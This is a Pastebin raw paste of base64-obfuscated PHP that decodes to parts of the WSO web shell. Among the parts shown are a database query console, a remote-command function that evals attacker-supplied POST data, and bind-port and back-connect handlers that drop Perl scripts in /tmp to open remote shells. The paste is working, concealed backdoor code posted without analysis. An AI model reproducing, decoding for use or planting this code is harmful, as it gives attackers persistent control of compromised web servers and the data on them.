AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRpdGVtIGFzICRrZXkgPT4gJHZhbHVlKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGg+Jy4ka2V5Lic8L3RoPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXNldCgkaXRlbSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGl0bGU9dHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdHI+PHRyPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGluZSA9IDI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0ciBjbGFzcz0ibCcuJGxpbmUuJyI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGluZSA9ICRsaW5lPT0xPzI6MTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRpdGVtIGFzICRrZXkgPT4gJHZhbHVlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkdmFsdWUgPT0gbnVsbCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRkPjxpPm51bGw8L2k+PC90ZD4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGQ+Jy5ubDJicihodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSkpLic8L3RkPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdHI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RhYmxlPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8ZGl2PjxiPkVycm9yOjwvYj4gJy5odG1sc3BlY2lhbGNoYXJzKCRkYi0+ZXJyb3IoKSkuJzwvZGl2Pic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxicj48L2Zvcm0+PGZvcm0gb25zdWJtaXQ9J2Quc2YucDEudmFsdWU9XCJxdWVyeVwiO2Quc2YucDIudmFsdWU9dGhpcy5xdWVyeS52YWx1ZTtkb2N1bWVudC5zZi5zdWJtaXQoKTtyZXR1cm4gZmFsc2U7Jz48dGV4dGFyZWEgbmFtZT0ncXVlcnknIHN0eWxlPSd3aWR0aDoxMDAlO2hlaWdodDoxMDBweCc+IjsKICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AyJ10pICYmICgkX1BPU1RbJ3AxJ10gIT0gJ2xvYWRmaWxlJykpCiAgICAgICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDInXSk7CiAgICAgICAgICAgICAgICBlY2hvICI8L3RleHRhcmVhPjxici8+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFeGVjdXRlJz4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvdGQ+PC90cj4iOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvdGFibGU+PC9mb3JtPjxici8+IjsKICAgICAgICAgICAgaWYoJF9QT1NUWyd0eXBlJ109PSdteXNxbCcpIHsKICAgICAgICA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wMSddID09ICdicHAnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGNmKCIvdG1wL2JwLnBsIiwkYmluZF9wb3J0X3ApOwogICAgICAgICAgICAgICAgICAgICAgICAkb3V0ID0gd3NvRXgoInBlcmwgL3RtcC9icC5wbCAiLiRfUE9TVFsncDInXS4iIDE+L2Rldi9udWxsIDI+JjEgJiIpOwogICAgICAgICAgICBzbGVlcCgxKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHByZSBjbGFzcz1tbDE+JG91dFxuIi53c29FeCgicHMgYXV4IHwgZ3JlcCBicC5wbCIpLiI8L3ByZT4iOwogICAgICAgICAgICB1bmxpbmsoIi90bXAvYnAucGwiKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYmNwJykgewogICAgICAgICAgICAgICAgICAgICAgICBjZigiL3RtcC9iYy5wbCIsJGJhY2tfY29ubmVjdF9wKTsKICAgICAgICAgICAgICAgICAgICAgICAgJG91dCA9IHdzb0V4KCJwZXJsIC90bXAvYmMucGwgIi4kX1BPU1RbJ3AyJ10uIiAiLiRfUE9TVFsncDMnXS4iIDE+L2Rldi9udWxsIDI+JjEgJiIpOwogICAgICAgICAgICBzbGVlcCgxKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHByZSBjbGFzcz1tbDE+JG91dFxuIi53c29FeCgicHMgYXV4IHwgZ3JlcCBiYy5wbCIpLiI8L3ByZT4iOwogICAgICAgICAgICB1bmxpbmsoIi90bXAvYmMucGwiKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZWNobyAnPC9kaXY+JzsKICAgICAgICB3c29Gb290ZXIoKTsKfQpmdW5jdGlvbiBhY3Rpb25SQygpIHsKICAgICAgICBpZighQCRfUE9TVFsncDEnXSkgewogICAgICAgICAgICAgICAgJGEgPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgInVuYW1lIiA9PiBwaHBfdW5hbWUoKSwKICAgICAgICAgICAgICAgICAgICAgICAgInBocF92ZXJzaW9uIiA9PiBwaHB2ZXJzaW9uKCksCiAgICAgICAgICAgICAgICAgICAgICAgICJ3c29fdmVyc2lvbiIgPT4gV1NPX1ZFUlNJT04sCiAgICAgICAgICAgICAgICAgICAgICAgICJzYWZlbW9kZSIgPT4gQGluaV9nZXQoJ3NhZmVfbW9kZScpCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgZWNobyBzZXJpYWxpemUoJGEpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBldmFsKCRfUE9TVFsncDEnXSk7CiAgICAgICAgfQp9CmlmKCBlbXB0eSgkX1BPU1RbJ2EnXSkgKQogICAgICAgIGlmKGlzc2V0KCRkZWZhdWx0X2FjdGlvbikgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJGRlZmF1bHRfYWN0aW9uKSkKICAgICAgICAgICAgICAgICRfUE9TVFsnYSddID0gJGRlZmF1bHRfYWN0aW9uOwogICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICRfUE9TVFsnYSddID0gJ1NlY0luZm8nOwppZiggIWVtcHR5KCRfUE9TVFsnYSddKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAkX1BPU1RbJ2EnXSkgKQogICAgICAgIGNhbGxfdXNlcl9mdW5jKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pOwpleGl0Ow==")); ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top